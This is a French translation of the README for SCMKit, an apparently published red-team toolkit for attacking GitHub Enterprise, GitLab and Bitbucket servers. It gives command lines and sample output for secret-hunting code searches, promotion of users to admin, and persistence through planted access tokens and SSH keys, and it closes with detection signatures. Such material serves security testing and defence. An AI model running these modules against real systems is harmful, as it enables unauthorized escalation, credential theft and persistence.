
Boîte à outils d'attaque de gestion de code source
Source Code Management Attack Toolkit - SCMKit est une boîte à outils qui peut être utilisée pour attaquer les systèmes SCM. SCMKit permet à l'utilisateur de spécifier le système SCM et le module d'attaque à utiliser, ainsi que de fournir des identifiants valides (nom d'utilisateur/mot de passe ou clé API) au système SCM respectif. Actuellement, les systèmes SCM pris en charge par SCMKit sont GitHub Enterprise, GitLab Enterprise et Bitbucket Server. Les modules d'attaque pris en charge incluent la reconnaissance, l'élévation de privilèges et la persistance. SCMKit a été conçu de manière modulaire, afin que de nouveaux modules et systèmes SCM puissent être ajoutés à l'avenir par la communauté de la sécurité de l'information.
Les bibliothèques tierces suivantes sont utilisées dans ce projet.
Suivez les étapes ci-dessous pour configurer Visual Studio afin de compiler le projet vous-même. Cela nécessite une bibliothèque .NET qui peut être installée à partir du gestionnaire de packages NuGet.
https://api.nuget.org/v3/index.jsonInstall-Package Costura.Fody -Version 3.3.3Install-Package OctokitInstall-Package GitLabApiClientInstall-Package Newtonsoft.JsonLe tableau ci-dessous indique où chaque module est pris en charge
Découvrir les dépôts utilisés dans un système SCM particulier
Fournissez le module listrepo, ainsi que les informations d'authentification pertinentes et l'URL. Cela affichera le nom du dépôt et son URL.
Cela listera tous les dépôts qu'un utilisateur peut voir.
SCMKit.exe -s github -m listrepo -c userName:password -u https://github.something.local
SCMKit.exe -s github -m listrepo -c apiKey -u https://github.something.local
Cela listera tous les dépôts qu'un utilisateur peut voir.
SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local
Cela listera tous les dépôts qu'un utilisateur peut voir.
SCMKit.exe -s bitbucket -m listrepo -c userName:password -u https://bitbucket.something.local
SCMKit.exe -s bitbucket -m listrepo -c apiKey -u https://bitbucket.something.local
C:>SCMKit.exe -s gitlab -m listrepo -c username:password -u https://gitlab.hogwarts.local
================================================== Module: listrepo System: gitlab Auth Type: Username/Password Options: Target URL: https://gitlab.hogwarts.local
Name | Visibility | URL
MaraudersMap | Private | https://gitlab.hogwarts.local/hpotter/maraudersmap
testingStuff | Internal | https://gitlab.hogwarts.local/adumbledore/testingstuff
Spellbook | Internal | https://gitlab.hogwarts.local/hpotter/spellbook
findShortestPathToGryffindorSword | Internal | https://gitlab.hogwarts.local/hpotter/findShortestPathToGryffindorSword
charms | Public | https://gitlab.hogwarts.local/hgranger/charms
Secret-Spells | Internal | https://gitlab.hogwarts.local/adumbledore/secret-spells
Monitoring | Internal | https://gitlab.hogwarts.local/gitlab-instance-10590c85/Monitoring
### Recherche de dépôts
#### Cas d'utilisation
> *Rechercher des dépôts par nom de dépôt dans un système SCM particulier.*
#### Syntaxe
Fournissez le module `searchrepo` et vos critères de recherche dans l'option de ligne de commande `-o`, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera le nom et l'URL du dépôt correspondant.
##### GitHub Enterprise
La recherche de dépôts GitHub est une recherche « contient » dans laquelle la chaîne que vous saisissez recherche les dépôts dont les noms contiennent votre terme de recherche.
`SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term"`
`SCMKit.exe -s github -m searchrepo -c apikey -u https://github.something.local -o "some search term"`
##### GitLab Enterprise
La recherche de dépôts GitLab est une recherche « contient » dans laquelle la chaîne que vous saisissez recherche les dépôts dont les noms contiennent votre terme de recherche.
`SCMKit.exe -s gitlab -m searchrepo -c userName:password -u https://gitlab.something.local -o "some search term"`
`SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term"`
##### Bitbucket Server
La recherche de dépôts Bitbucket est une recherche « commence par » dans laquelle la chaîne que vous saisissez recherche les dépôts dont les noms commencent par votre terme de recherche.
`SCMKit.exe -s bitbucket -m searchrepo -c userName:password -u https://bitbucket.something.local -o "some search term"`
`SCMKit.exe -s bitbucket -m searchrepo -c apikey -u https://bitbucket.something.local -o "some search term"`
#### Exemple de sortie```
C:\>SCMKit.exe -s gitlab -m searchrepo -c apiKey -u https://gitlab.hogwarts.local -o "spell"
==================================================
Module: searchrepo
System: gitlab
Auth Type: API Key
Options: spell
Target URL: https://gitlab.hogwarts.local
Timestamp: 1/14/2022 8:32:30 PM
==================================================
Name | Visibility | URL
----------------------------------------------------------------------------------------------------------
Spellbook | Internal | https://gitlab.hogwarts.local/hpotter/spellbook
Secret-Spells | Internal | https://gitlab.hogwarts.local/adumbledore/secret-spells
Rechercher du code contenant un mot-clé donné dans un système SCM particulier
Fournissez le module searchcode et vos critères de recherche dans le paramètre de ligne de commande -o, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera l'URL du fichier de code correspondant, ainsi que la ligne du code qui correspond.
La recherche de code GitHub est une recherche de type « contient » où la chaîne que vous saisissez recherchera le code contenant votre terme de recherche dans n'importe quelle ligne.
SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term"
SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term"
La recherche de code GitLab est une recherche de type « contient » où la chaîne que vous saisissez recherchera le code contenant votre terme de recherche dans n'importe quelle ligne.
SCMKit.exe -s gitlab -m searchcode -c userName:password -u https://gitlab.something.local -o "some search term"
SCMKit.exe -s gitlab -m searchcode -c apikey -u https://gitlab.something.local -o "some search term"
La recherche de code Bitbucket est une recherche de type « contient » où la chaîne que vous saisissez recherchera le code contenant votre terme de recherche dans n'importe quelle ligne.
SCMKit.exe -s bitbucket -m searchcode -c userName:password -u https://bitbucket.something.local -o "some search term"
SCMKit.exe -s bitbucket -m searchcode -c apikey -u https://bitbucket.something.local -o "some search term"
C:>SCMKit.exe -s gitlab -m searchcode -c username:password -u https://gitlab.hogwarts.local -o "api_key"
================================================== Module: searchcode System: gitlab Auth Type: Username/Password Options: api_key Target URL: https://gitlab.hogwarts.local
[>] URL: https://gitlab.hogwarts.local/adumbledore/secret-spells/stuff.txt |_ API_KEY=abc123
Total number of items matching code search: 1
### Recherche de fichiers
#### Cas d'utilisation
> *Rechercher des fichiers dans les dépôts contenant un mot-clé donné dans le nom de fichier dans un système SCM particulier*
#### Syntaxe
Fournissez le module `searchfile` et vos critères de recherche dans le commutateur de ligne de commande `-o`, ainsi que les informations d'authentification et l'URL pertinentes. Cela affichera l'URL du fichier correspondant dans son dépôt respectif.
##### GitHub Enterprise
La recherche de fichiers GitLab est une recherche de type "contient" : la chaîne que vous saisissez recherchera les fichiers dont le nom de fichier contient votre terme de recherche.
`SCMKit.exe -s github -m searchfile -c userName:password -u https://github.something.local -o "some search term"`
`SCMKit.exe -s github -m searchfile -c apikey -u https://github.something.local -o "some search term"`
##### GitLab Enterprise
La recherche de fichiers GitLab est une recherche de type "contient" : la chaîne que vous saisissez recherchera les fichiers dont le nom de fichier contient votre terme de recherche.
`SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term"`
`SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term"`
##### Bitbucket Server
La recherche de fichiers Bitbucket est une recherche de type "contient" : la chaîne que vous saisissez recherchera les fichiers dont le nom de fichier contient votre terme de recherche.
`SCMKit.exe -s bitbucket -m searchfile -c userName:password -u https://bitbucket.something.local -o "some search term"`
`SCMKit.exe -s bitbucket -m searchfile -c apikey -u https://bitbucket.something.local -o "some search term"`
#### Exemple de sortie```
C:\source\SCMKit\SCMKit\bin\Release>SCMKit.exe -s bitbucket -m searchfile -c apikey -u http://bitbucket.hogwarts.local:7990 -o jenkinsfile
==================================================
Module: searchfile
System: bitbucket
Auth Type: API Key
Options: jenkinsfile
Target URL: http://bitbucket.hogwarts.local:7990
Timestamp: 1/14/2022 10:17:59 PM
==================================================
[>] REPO: http://bitbucket.hogwarts.local:7990/scm/~HPOTTER/hpotter
[>] FILE: Jenkinsfile
[>] REPO: http://bitbucket.hogwarts.local:7990/scm/STUD/cred-decryption
[>] FILE: subDir/Jenkinsfile
Total matching results: 2
Lister les snippets appartenant à l'utilisateur actuel dans GitLab
Fournissez le module listsnippet, ainsi que les informations d'authentification et l'URL pertinentes.
SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local
C:>SCMKit.exe -s gitlab -m listsnippet -c username:password -u https://gitlab.hogwarts.local
================================================== Module: listsnippet System: gitlab Auth Type: Username/Password Options: Target URL: https://gitlab.hogwarts.local
Title | Raw URL
spell-script | https://gitlab.hogwarts.local/-/snippets/2/raw
### Lister les runners
#### Cas d'utilisation
> *Lister tous les runners GitLab disponibles pour l'utilisateur actuel dans GitLab*
#### Syntaxe
Fournissez le module `listrunner`, ainsi que toute information d'authentification pertinente et l'URL. Si l'utilisateur est un administrateur, vous pourrez lister tous les runners de l'instance GitLab Enterprise, y compris les runners partagés et ceux de groupe.
##### GitLab Enterprise
`SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local`
`SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local`
#### Exemple de sortie```
C:\>SCMKit.exe -s gitlab -m listrunner -c username:password -u https://gitlab.hogwarts.local
==================================================
Module: listrunner
System: gitlab
Auth Type: Username/Password
Options:
Target URL: https://gitlab.hogwarts.local
Timestamp: 1/25/2022 11:40:08 AM
==================================================
ID | Name | Repo Assigned
---------------------------------------------------------------------------------
2 | gitlab-runner | https://gitlab.hogwarts.local/hpotter/spellbook.git
3 | gitlab-runner | https://gitlab.hogwarts.local/hpotter/maraudersmap.git
Lister les gists appartenant à l'utilisateur actuel sur GitHub
Fournissez le module listgist, ainsi que toute information d'authentification et URL pertinentes.
SCMKit.exe -s github -m listgist -c userName:password -u https://github.something.local
SCMKit.exe -s github -m listgist -c apikey -u https://github.something.local
C:>SCMKit.exe -s github -m listgist -c username:password -u https://github-enterprise.hogwarts.local
================================================== Module: listgist System: github Auth Type: Username/Password Options: Target URL: https://github-enterprise.hogwarts.local
Description | Visibility | URL
Shell Script to Decode Spell | public | https://github-enterprise.hogwarts.local/gist/c11c6bb3f47fe67183d5bc9f048412a1
### Lister les organisations
#### Cas d'utilisation
> *Lister toutes les organisations auxquelles l'utilisateur actuel appartient sur GitHub*
#### Syntaxe
Fournissez le module `listorg`, ainsi que toutes les informations d'authentification et l'URL pertinentes.
##### GitHub Enterprise
`SCMKit.exe -s github -m listorg -c userName:password -u https://github.something.local`
`SCMKit.exe -s github -m listorg -c apiKey -u https://github.something.local`
#### Exemple de sortie```
C:\>SCMKit.exe -s github -m listorg -c username:password -u https://github-enterprise.hogwarts.local
==================================================
Module: listorg
System: github
Auth Type: Username/Password
Options:
Target URL: https://github-enterprise.hogwarts.local
Timestamp: 1/14/2022 9:44:48 PM
==================================================
Name | URL
-----------------------------------------------------------------------------------
Hogwarts | https://github-enterprise.hogwarts.local/api/v3/orgs/Hogwarts/repos
Obtenir les privilèges attribués à un jeton d'accès utilisé dans un système SCM particulier
Fournissez le module privs, avec une clé API et une URL.
SCMKit.exe -s github -m privs -c apiKey -u https://github.something.local
SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local
C:>SCMKit.exe -s gitlab -m privs -c apikey -u https://gitlab.hogwarts.local
================================================== Module: privs System: gitlab Auth Type: API Key Options: Target URL: https://gitlab.hogwarts.local
Token Name | Active? | Privilege | Description
hgranger-api-token | True | api | Read-write for the complete API, including all groups and projects, the Container Registry, and the Package Registry. hgranger-api-token | True | read_user | Read-only for endpoints under /users. Essentially, access to any of the GET requests in the Users API. hgranger-api-token | True | read_api | Read-only for the complete API, including all groups and projects, the Container Registry, and the Package Registry. hgranger-api-token | True | read_repository | Read-only (pull) for the repository through git clone. hgranger-api-token | True | write_repository | Read-write (pull, push) for the repository through git clone. Required for accessing Git repositories over HTTP when 2FA is enabled.
### Ajouter un administrateur
#### Cas d'utilisation
> *Promouvoir un utilisateur normal à un rôle d'administrateur dans un système SCM particulier*
#### Syntaxe
Fournissez le module `addadmin`, ainsi que les informations d'authentification pertinentes et l'URL. De plus, fournissez l'utilisateur cible auquel vous souhaitez ajouter un rôle administratif.
##### GitHub Enterprise
`SCMKit.exe -s github -m addadmin -c userName:password -u https://github.something.local -o targetUserName`
`SCMKit.exe -s github -m addadmin -c apikey -u https://github.something.local -o targetUserName`
##### GitLab Enterprise
`SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName`
`SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName`
##### Bitbucket Server
Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou aux projets dans Bitbucket.
`SCMKit.exe -s bitbucket -m addadmin -c userName:password -u https://bitbucket.something.local -o targetUserName`
#### Exemple de sortie```
C:\>SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.hogwarts.local -o hgranger
==================================================
Module: addadmin
System: gitlab
Auth Type: API Key
Options: hgranger
Target URL: https://gitlab.hogwarts.local
Timestamp: 1/14/2022 9:19:32 PM
==================================================
[+] SUCCESS: The hgranger user was successfully added to the admin role.
Rétrograder un utilisateur administratif à un rôle d'utilisateur normal dans un système SCM particulier
Fournissez le module removeadmin, ainsi que les informations d'authentification et l'URL pertinentes. En outre, fournissez l'utilisateur cible dont vous souhaitez supprimer le rôle administratif.
SCMKit.exe -s github -m removeadmin -c userName:password -u https://github.something.local -o targetUserName
SCMKit.exe -s github -m removeadmin -c apikey -u https://github.something.local -o targetUserName
SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m removeadmin -c apikey -u https://gitlab.something.local -o targetUserName
Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou aux projets dans Bitbucket.
SCMKit.exe -s bitbucket -m removeadmin -c userName:password -u https://bitbucket.something.local -o targetUserName
C:>SCMKit.exe -s gitlab -m removeadmin -c username:password -u https://gitlab.hogwarts.local -o hgranger
================================================== Module: removeadmin System: gitlab Auth Type: Username/Password Options: hgranger Target URL: https://gitlab.hogwarts.local
[+] SUCCESS: The hgranger user was successfully removed from the admin role.
### Créer un jeton d'accès
#### Cas d'utilisation
> *Créer un jeton d'accès à utiliser dans un système SCM particulier*
#### Syntaxe
Fournissez le module `createpat`, ainsi que toute information d'authentification et URL pertinentes. En outre, fournissez l'utilisateur cible pour lequel vous souhaitez créer un jeton d'accès.
##### GitLab Enterprise
Cette opération ne peut être effectuée qu'en tant qu'administrateur. Vous fournirez le nom d'utilisateur pour lequel vous souhaitez créer un PAT.
`SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName`
`SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName`
##### Bitbucket Server
Crée un PAT pour l'utilisateur actuellement authentifié. Dans Bitbucket, vous ne pouvez pas créer un PAT pour un autre utilisateur, même en tant qu'administrateur. Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou aux projets dans Bitbucket. Notez l'identifiant PAT affiché après la création. Vous en aurez besoin lorsqu'il vous faudra supprimer le PAT à l'avenir.
`SCMKit.exe -s bitbucket -m createpat -c userName:password -u https://bitbucket.something.local `
#### Exemple de sortie```
C:\>SCMKit.exe -s gitlab -m createpat -c username:password -u https://gitlab.hogwarts.local -o hgranger
==================================================
Module: createpat
System: gitlab
Auth Type: Username/Password
Options: hgranger
Target URL: https://gitlab.hogwarts.local
Timestamp: 1/20/2022 1:51:23 PM
==================================================
ID | Name | Token
-----------------------------------------------------
59 | SCMKIT-AaCND | R3ySx_8HUn6UQ_6onETx
[+] SUCCESS: The hgranger user personal access token was successfully added.
Répertorier les jetons d'accès pour un utilisateur sur un système SCM particulier
Fournissez le module listpat, ainsi que toute information d'authentification pertinente et l'URL.
Nécessite uniquement les droits d'administrateur si vous souhaitez lister les PAT d'un autre utilisateur. Un utilisateur régulier peut lister ses propres PAT.
SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser
SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser
Répertorie les jetons d'accès pour l'utilisateur actuel. Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou aux projets dans Bitbucket.
SCMKit.exe -s bitbucket -m listpat -c userName:password -u https://bitbucket.something.local
Répertorie les jetons d'accès pour un autre utilisateur (nécessite les droits d'administrateur). Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou aux projets dans Bitbucket.
SCMKit.exe -s bitbucket -m listpat -c userName:password -u https://bitbucket.something.local -o targetUser
C:>SCMKit.exe -s gitlab -m listpat -c username:password -u https://gitlab.hogwarts.local -o hgranger
================================================== Module: listpat System: gitlab Auth Type: Username/Password Options: hgranger Target URL: https://gitlab.hogwarts.local
59 | SCMKIT-AaCND | True | api, read_repository, write_repository
### Supprimer le jeton d'accès
#### Cas d'utilisation
> *Supprimer un jeton d'accès pour un utilisateur dans un système SCM particulier*
#### Syntaxe
Fournissez le module `removepat`, ainsi que les informations d'authentification et l'URL pertinentes. En outre, fournissez l'ID PAT de l'utilisateur cible pour lequel vous souhaitez supprimer un jeton d'accès.
##### GitLab Enterprise
Nécessite uniquement les droits d'administration si vous souhaitez supprimer le PAT d'un autre utilisateur. Un utilisateur standard peut supprimer son propre PAT. Vous devez fournir l'ID du PAT à supprimer. Cet ID était affiché lors de la création du PAT ainsi que lors de la liste des PAT.
`SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID`
`SCMKit.exe -s gitlab -m removepat -c apikey -u https://gitlab.something.local -o patID`
##### Bitbucket Server
Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou aux projets dans Bitbucket. Vous devez fournir l'ID du PAT à supprimer. Cet ID était affiché lors de la création du PAT.
`SCMKit.exe -s bitbucket -m removepat -c userName:password -u https://bitbucket.something.local -o patID`
#### Exemple de sortie```
C:\>SCMKit.exe -s gitlab -m removepat -c apikey -u https://gitlab.hogwarts.local -o 58
==================================================
Module: removepat
System: gitlab
Auth Type: API Key
Options: 59
Target URL: https://gitlab.hogwarts.local
Timestamp: 1/20/2022 1:56:47 PM
==================================================
[*] INFO: Revoking personal access token of ID: 59
[+] SUCCESS: The personal access token of ID 59 was successfully revoked.
Créer une clé SSH à utiliser dans un système SCM particulier
Fournissez le module createsshkey, ainsi que toutes les informations d'authentification et l'URL pertinentes.
Crée une clé SSH pour l'utilisateur actuel qui s'authentifie.
SCMKit.exe -s github -m createsshkey -c userName:password -u https://github.something.local -o "ssh public key"
SCMKit.exe -s github -m createsshkey -c apiToken -u https://github.something.local -o "ssh public key"
Crée une clé SSH pour l'utilisateur actuel qui s'authentifie. Notez l'ID de la clé SSH affiché après sa création. Vous en aurez besoin lorsque vous devrez supprimer la clé SSH à l'avenir.
SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key"
SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key"
Crée une clé SSH pour l'utilisateur actuel qui s'authentifie. Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou aux projets dans Bitbucket. Notez l'ID de la clé SSH affiché après sa création. Vous en aurez besoin lorsque vous devrez supprimer la clé SSH à l'avenir.
SCMKit.exe -s bitbucket -m createsshkey -c userName:password -u https://bitbucket.something.local -o "ssh public key"
C:>SCMKit.exe -s bitbucket -m createsshkey -c username:password -u https://bitbucket.hogwarts.local -o "ssh-rsa..."
================================================== Module: createsshkey System: bitbucket Auth Type: Username/Password Options: ssh-rsa ... Target URL: http://bitbucket.hogwarts.local:7990
16
[+] SUCCESS: The hpotter user SSH key was successfully added.
### Lister les clés SSH
#### Cas d'utilisation
> *Lister les clés SSH d'un utilisateur sur un système SCM particulier.*
#### Syntaxe
Fournissez le module `listsshkey`, ainsi que toutes les informations d'authentification pertinentes et l'URL.
##### GitHub Enterprise
Liste les clés SSH de l'utilisateur actuel. Cela inclura les identifiants des clés SSH, qui sont nécessaires si vous souhaitez supprimer une clé SSH.
`SCMKit.exe -s github -m listsshkey -c userName:password -u https://github.something.local`
`SCMKit.exe -s github -m listsshkey -c apiToken -u https://github.something.local`
##### GitLab Enterprise
Liste les clés SSH de l'utilisateur actuel.
`SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://gitlab.something.local`
`SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://gitlab.something.local`
##### Bitbucket Server
Liste les clés SSH de l'utilisateur actuel. Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou aux projets dans Bitbucket.
`SCMKit.exe -s bitbucket -m listsshkey -c userName:password -u https://bitbucket.something.local`
#### Exemple de sortie```
C:\>SCMKit.exe -s gitlab -m listsshkey -u http://gitlab.hogwarts.local -c apiToken
==================================================
Module: listsshkey
System: gitlab
Auth Type: API Key
Options:
Target URL: https://gitlab.hogwarts.local
Timestamp: 2/7/2022 4:09:40 PM
==================================================
SSH Key ID | SSH Key Value | Title
---------------------------------------------------------------
9 | .....p50edigBAF4lipVZkAM= | SCMKIT-RLzie
10 | .....vGJLPGHiTwIxW9i+xAs= | SCMKIT-muFGU
Supprimer une clé SSH pour un utilisateur dans un système SCM particulier
Fournissez le module removesshkey, ainsi que toutes les informations d'authentification pertinentes et l'URL. De plus, fournissez l'ID de la clé SSH de l'utilisateur cible à supprimer.
Vous devez fournir l'ID de la clé SSH à supprimer. Cet ID est affiché lorsque vous listez les clés SSH.
SCMKit.exe -s github -m removesshkey -c userName:password -u https://github.something.local -o sshKeyID
SCMKit.exe -s github -m removesshkey -c apiToken -u https://github.something.local -o sshKeyID
Vous devez fournir l'ID de la clé SSH à supprimer. Cet ID est affiché lorsque vous créez la clé SSH et également lorsque vous listez les clés SSH.
SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID
SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID
Seule l'authentification par nom d'utilisateur/mot de passe est prise en charge pour effectuer des actions non liées aux dépôts ou aux projets dans Bitbucket. Vous devez fournir l'ID de la clé SSH à supprimer. Cet ID est affiché lorsque vous créez la clé SSH et également lorsque vous listez les clés SSH.
SCMKit.exe -s bitbucket -m removesshkey -c userName:password -u https://bitbucket.something.local -o sshKeyID
C:>SCMKit.exe -s bitbucket -m removesshkey -u http://bitbucket.hogwarts.local:7990 -c username:password -o 16
================================================== Module: removesshkey System: bitbucket Auth Type: Username/Password Options: 16 Target URL: http://bitbucket.hogwarts.local:7990
[+] SUCCESS: The SSH key of ID 16 was successfully revoked.
### List Admin Stats
#### Use Case
> *Lister les statistiques d'administration dans GitHub Enterprise*
#### Syntaxe
Fournissez le module `adminstats`, ainsi que les informations d'authentification et l'URL pertinentes. Un accès administrateur de site dans GitHub Enterprise est requis pour utiliser ce module.
##### GitHub Enterprise
`SCMKit.exe -s github -m adminstats -c userName:password -u https://github.something.local`
`SCMKit.exe -s github -m adminstats -c apikey -u https://github.something.local`
#### Exemple de sortie```
C:\>SCMKit.exe -s github -m adminstats -c username:password -u https://github-enterprise.hogwarts.local
==================================================
Module: adminstats
System: github
Auth Type: Username/Password
Options:
Target URL: https://github-enterprise.hogwarts.local
Timestamp: 1/14/2022 9:45:50 PM
==================================================
Admin Users | Suspended Users | Total Users
------------------------------------------------------
1 | 0 | 5
Total Repos | Total Wikis
-----------------------------------
4 | 0
Total Orgs | Total Team Members | Total Teams
----------------------------------------------------------
1 | 0 | 0
Private Gists | Public Gists
-----------------------------------
0 | 1
Lister les protections de branche dans GitHub Enterprise
Fournissez le module protection, ainsi que les informations d'authentification et l'URL pertinentes. Vous pouvez éventuellement fournir une chaîne dans le paramètre options pour renvoyer les résultats correspondants contenus dans les noms de dépôts.
SCMKit.exe -s github -m protection -c userName:password -u https://github.something.local
SCMKit.exe -s github -m protection -c apikey -u https://github.something.local
SCMKit.exe -s github -m protection -c apikey -u https://github.something.local -o reponame
C:>.\SCMKit.exe -u http://github.hogwarts.local -s github -c apiToken -m protection -o public-r
================================================== Module: protection System: github Auth Type: API Key Options: public-r Target URL: http://github.hogwarts.local
Repo | Branch | Protection
public-repo | dev | Protected: True
Status checks must pass before merge:
Branch must be up-to-date before merge: True
Owner review required before merge: True
Approvals required before merge: 2
Protections apply to repo admins: True
public-repo | main | Protected: False
## Détection
Vous trouverez ci-dessous des signatures statiques pour l'utilisation spécifique de cet outil dans son état par défaut :
* GUID du projet - `{266C644A-69B1-426B-A47C-1CF32B211F80}`
* Voir [règle Yara SCMKit](https://github.com/xforcered/scmkit/blob/main/Detections/SCMKit.yar) dans ce dépôt.
* Chaîne User-Agent - `SCMKIT-5dc493ada400c79dd318abbe770dac7c`
* Voir [règle Snort SCMKit](https://github.com/xforcered/scmkit/blob/main/Detections/SCMKit.rules) dans ce dépôt.
* Noms des jetons d'accès et des clés SSH - Les jetons d'accès et les clés SSH créés à l'aide de l'outil sont préfixés par `SCMKIT-` pour le nom.
Pour des conseils de détection des techniques utilisées par l'outil, consultez le [billet de blog](https://securityintelligence.com/posts/abusing-source-code-management-systems) de X-Force Red.
## Références
* Documentation de l'API Bitbucket
* https://developer.atlassian.com/server/bitbucket/reference/rest-api/
* Documentation Octokit
* https://octokitnet.readthedocs.io/en/latest/
* https://github.com/octokit/octokit.net
* Documentation de l'API GitHub
* https://docs.github.com/en/rest/overview
* Documentation de l'API GitLab
* https://docs.gitlab.com/ee/api/api_resources.html
* Documentation du package Nuget GitLabApiClient
* https://github.com/nmklotas/GitLabApiClient
| Bibliothèque | URL | Licence |
|---|
| Octokit | https://github.com/octokit/octokit.net | Licence MIT |
| Fody | https://github.com/Fody/Fody | Licence MIT |
| GitLabApiClient | https://github.com/nmklotas/GitLabApiClient | Licence MIT |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | Licence MIT |
| Scénario d'attaque | Module | Nécessite un administrateur ? | GitHub Enterprise | GitLab Enterprise | Bitbucket Server |
|---|
| Reconnaissance | listrepo | Non | X | X | X |
| Reconnaissance | searchrepo | Non | X | X | X |
| Reconnaissance | searchcode | Non | X | X | X |
| Reconnaissance | searchfile | Non | X | X | X |
| Reconnaissance | listsnippet | Non | X | ||
| Reconnaissance | listrunner | Non | X | ||
| Reconnaissance | listgist | Non | X | ||
| Reconnaissance | listorg | Non | X | ||
| Reconnaissance | privs | Non | X | X | |
| Reconnaissance | protection | Non | X | ||
| Persistance | listsshkey | Non | X | X | X |
| Persistance | removesshkey | Non | X | X | X |
| Persistance | createsshkey | Non | X | X | X |
| Persistance | listpat | Non | X | X | |
| Persistance | removepat | Non | X | X | |
| Persistance | createpat | Oui (GitLab Enterprise uniquement) | X | X | |
| Élévation de privilèges | addadmin | Oui | X | X | X |
| Élévation de privilèges | removeadmin | Oui | X | X | X |
| Reconnaissance | adminstats | Oui | X |